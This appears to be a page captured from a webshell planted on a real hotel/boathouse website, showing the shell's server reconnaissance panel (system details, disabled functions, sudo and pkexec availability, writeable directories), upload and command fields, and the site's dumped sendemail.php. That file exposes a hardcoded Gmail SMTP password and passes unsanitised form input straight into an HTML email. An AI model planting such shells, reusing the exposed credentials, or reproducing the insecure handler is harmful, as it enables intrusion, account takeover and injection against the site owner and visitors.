403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.69.176.90
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/boathouseatalleppey.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/boathouseatalleppey.in/sendemail.php
<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
//$mail->SMTPDebug = 3;

 require_once("phpmailer/PHPMailerAutoload.php");


    $mail = new PHPMailer();
	 $first_name = $_POST['name']; // required

    $email_from = $_POST['email']; // required

    $telephone = $_POST['phone']; // not required

    $comments = $_POST['message']; // required

    $mail->isMail();  // telling the class to use SMTP
	$mail->isHTML(true);
    $mail->SMTPAuth   = true; // SMTP authentication
    $mail->Host       = "smtp.gmail.com"; // SMTP server
	$mail->SMTPSecure = 'tls';                            // Enable TLS encryption, `ssl` also accepted
	$mail->Port       = 587; // SMTP Port
    $mail->Username   = "[email protected]"; // SMTP account username
    $mail->Password   = "boathouseataleppy";        // SMTP account password
	//$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

    $mail->SetFrom($first_name); // FROM
	$mail->From =  $email_from;
	$mail->FromName = "Boathouse Enquires";
    //$mail->AddReplyTo('[email protected]', 'John Doe'); // Reply TO

    $mail->AddAddress("[email protected]" , $first_name); // recipient email

    $mail->Subject    =   $first_name; // email subject
    $mail->Body       =  '<div style="width:450px; height:auto;border:1px solid #000;border: 5px solid #e2e2e2;">
      <div style="width:130px; height:auto;display:inline-block;text-align:left;vertical-align:top;font-weight:bold;">
        <div style="width:100%; padding:10px"> Name </div>
        <div style="width:100%; padding:10px"> Phone </div>
        <div style="width:100%; padding:10px"> Email</div>
        <div style="width:100%; padding:10px"> Message </div>
      </div>

      <div style="width:300px; height:auto;display:inline-block;text-align:left;vertical-align:top">
        <div style="width:100%; padding:10px; height:auto;">  '.$first_name.'  </div>
        <div style="width:100%; padding:10px; height:auto;"> '.$telephone.' </div>
        <div style="width:100%; padding:10px; height:auto;">  '.$email_from.' </div>
        <div style="width:100%; padding:10px; height:auto;">  '.$comments.' </div>
      </div>
</div>';

    if(!$mail->Send()) {
      //echo 'Message was not sent.';
      //echo 'Mailer error: ' . $mail->ErrorInfo;
    } else {
      //echo 'Message has been sent.';
	  //echo  $email_from;
    }


?>

Youez - 2016 - github.com/yon3zu
LinuXploit